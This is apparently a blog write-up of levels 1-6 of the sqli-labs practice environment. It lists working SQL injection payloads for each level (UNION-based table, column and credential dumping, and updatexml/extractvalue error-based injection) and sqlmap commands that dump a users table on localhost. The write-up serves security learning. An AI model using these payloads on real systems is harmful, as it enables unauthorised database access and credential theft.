sqli-labs漏洞练习1-6关练习收获,sqli手工注入与sqlmap使用

安装流程

SQL注入之sqli-labs环境搭建_sqlilabs环境搭建-CSDN博客

第一关(sqli手工注入步骤)

打开sqli-labs练习第一关,输入?id=1尝试查询数据库

查询可以得到id为1的数据信息。

用?id=1'和?id=1'--+判断sql语句为字符型还是数字型

可知sql语句为字符型。

查询一下表格列数

?id=1'order by 3 --+

可知表格共3列。

接下来用下列代码爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

可见数据库列表的第二列和第三列被输出出来在页面。

获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

可知版本号为5.7.26.

接下来查询该数据库有几个表。

nformation_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

可知该数据库共四个表,猜测用户信息都在users表中,在这个表下查询一下表内的各字段名称。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

可知这个表下有名为id,username,password的选项。

在这个表下查询这三项的信息。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

可以看到我们就得到了所有的登录用户名和密码。

第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错信息,显示单引号双引号错误,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
 

第三关

输入?id=1和?id=1"时没报错,输入?id=1'时候报错了。

根据页面的报错信息猜测sql语句为单引号字符型而且有括号,所以我们需要闭合单引号且要考虑括号。

?id=1')--+

我们的猜想正确。接下来按照第一关的步骤构造代码一步步查询就好了。

?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

无论是数字还是字符还是单引号都不报错。

发现输入双引号的时候出现报错需要括号。判断是双引号加括号的格式。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

构建以上代码进行注入,步骤和第三关类似。

第五关

输入数字型注入,发现无论怎么输入都显示you are in.....。而输入字符型注入则显示报错。

尝试用报错注入通过这个题目

?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+

用updatexml函数成功输出了以上信息,尝试用别的报错函数extractvalue注入试试。

?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+

同样得到结果信息。

第六关(使用sqlmap)

1、判断是否有注入

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --batch

2、查看所有数据库

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --dbs

3、查看当前使用的数据库

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" --current-db

4、查看数据表

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security --tables

5、查看列名

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users --columns

6、查看数据

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/?id=2" -D security -T users -C id,password,username --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值